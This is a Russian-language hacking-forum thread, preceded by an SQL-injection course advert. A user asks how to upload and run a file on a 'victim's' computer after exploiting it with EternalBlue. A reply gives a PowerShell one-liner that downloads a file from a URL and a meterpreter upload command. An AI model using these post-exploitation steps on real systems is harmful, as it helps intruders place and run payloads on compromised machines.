• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Проблема cmd windows|msf

Lisenok

Green Team
02.04.2016
133
75
BIT
0
Доброго времени суток, вопрос такой как залить файл на компьютер жертвы через cmd? То есть после того как использую eternalblue получаю доступ ,мне нужно залить свой файл и запустить. Видел инструкцию по meterpreter,но там же вроде не то?:)Проверить возможности не было еще.Заранее благодарю!
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 351
BIT
0
Привет, meterpreter сессия открывается у тебя?
 

Lisenok

Green Team
02.04.2016
133
75
BIT
0
Привет, meterpreter сессия открывается у тебя?
привет, после запуска и срабатывания эксплоита запускается cmd сразу, по крайней мере на телефоне.
[doublepost=1508757610,1508757349][/doublepost]
Привет, meterpreter сессия открывается у тебя?
попробую сегодня с компа, с твоей статьи!отпишу если что, даже не видел эту статью блин,вроде смотрел как то по форуму
 

SooLFaa

Platinum
15.07.2016
898
1 559
BIT
19
Вот первый вариант.
Код:
powershell -c '$WebClient = New-Object System.Net.WebClient;$WebClient.DownloadFile($url,$path)'
С метерпретером
Код:
upload xyz.exe C:\Temp\xyz.exe
Вариантов тьмища.
 
  • Нравится
Реакции: Lisenok
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!